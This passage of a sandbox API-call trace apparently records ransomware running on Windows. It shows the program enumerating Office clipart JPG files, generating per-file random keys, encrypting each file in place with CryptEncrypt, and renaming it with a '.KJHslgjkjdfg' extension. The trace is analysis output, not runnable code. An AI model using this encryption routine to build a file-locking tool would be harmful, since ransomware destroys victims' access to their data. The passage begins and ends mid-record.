Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.169] GetProcessHeap () returned 0x2a0000 [0183.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.169] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.169] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.169] GetProcessHeap () returned 0x2a0000 [0183.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.169] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.169] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.169] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.172] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.172] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.172] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.172] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.172] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.172] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3260, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3260, lpOverlapped=0x0) returned 1 [0183.174] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3260, dwBufLen=0x3260 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3260) returned 1 [0183.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.174] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3260, lpOverlapped=0x0) returned 1 [0183.174] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.174] SetEndOfFile (hFile=0x114) returned 1 [0183.177] GetProcessHeap () returned 0x2a0000 [0183.177] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.177] GetProcessHeap () returned 0x2a0000 [0183.177] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.kjhslgjkjdfg")) returned 1 [0183.178] CloseHandle (hObject=0x114) returned 1 [0183.178] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0183.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.180] GetProcessHeap () returned 0x2a0000 [0183.180] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.180] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0183.184] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.184] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.184] GetProcessHeap () returned 0x2a0000 [0183.184] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.184] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.184] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.184] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.184] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.184] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.184] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.184] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.185] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.185] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27d4, lpOverlapped=0x0) returned 1 [0183.186] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27e0) returned 1 [0183.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.186] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27e0, lpOverlapped=0x0) returned 1 [0183.186] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.186] SetEndOfFile (hFile=0x114) returned 1 [0183.189] GetProcessHeap () returned 0x2a0000 [0183.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.189] GetProcessHeap () returned 0x2a0000 [0183.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.kjhslgjkjdfg")) returned 1 [0183.191] CloseHandle (hObject=0x114) returned 1 [0183.191] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0183.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.194] GetProcessHeap () returned 0x2a0000 [0183.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.194] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.194] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.194] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0183.196] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.196] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.196] GetProcessHeap () returned 0x2a0000 [0183.196] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.196] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.197] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.197] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.197] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.197] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.197] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.197] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.197] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.197] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2cdd, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2cdd, lpOverlapped=0x0) returned 1 [0183.216] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ce0, dwBufLen=0x2ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ce0) returned 1 [0183.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.217] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2ce0, lpOverlapped=0x0) returned 1 [0183.217] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.217] SetEndOfFile (hFile=0x114) returned 1 [0183.220] GetProcessHeap () returned 0x2a0000 [0183.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.220] GetProcessHeap () returned 0x2a0000 [0183.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.kjhslgjkjdfg")) returned 1 [0183.222] CloseHandle (hObject=0x114) returned 1 [0183.222] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0183.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.223] GetProcessHeap () returned 0x2a0000 [0183.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.223] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.223] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0183.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.382] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.382] GetProcessHeap () returned 0x2a0000 [0183.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.383] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.383] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.383] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.383] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.383] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.383] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.384] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c6d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4c6d, lpOverlapped=0x0) returned 1 [0183.385] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c70) returned 1 [0183.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.385] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c70, lpOverlapped=0x0) returned 1 [0183.385] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.385] SetEndOfFile (hFile=0x114) returned 1 [0183.388] GetProcessHeap () returned 0x2a0000 [0183.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.388] GetProcessHeap () returned 0x2a0000 [0183.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.kjhslgjkjdfg")) returned 1 [0183.390] CloseHandle (hObject=0x114) returned 1 [0183.390] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0183.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.391] GetProcessHeap () returned 0x2a0000 [0183.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.392] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.392] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.394] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.394] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.394] GetProcessHeap () returned 0x2a0000 [0183.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.394] WriteFile (in: hFile=0x114, 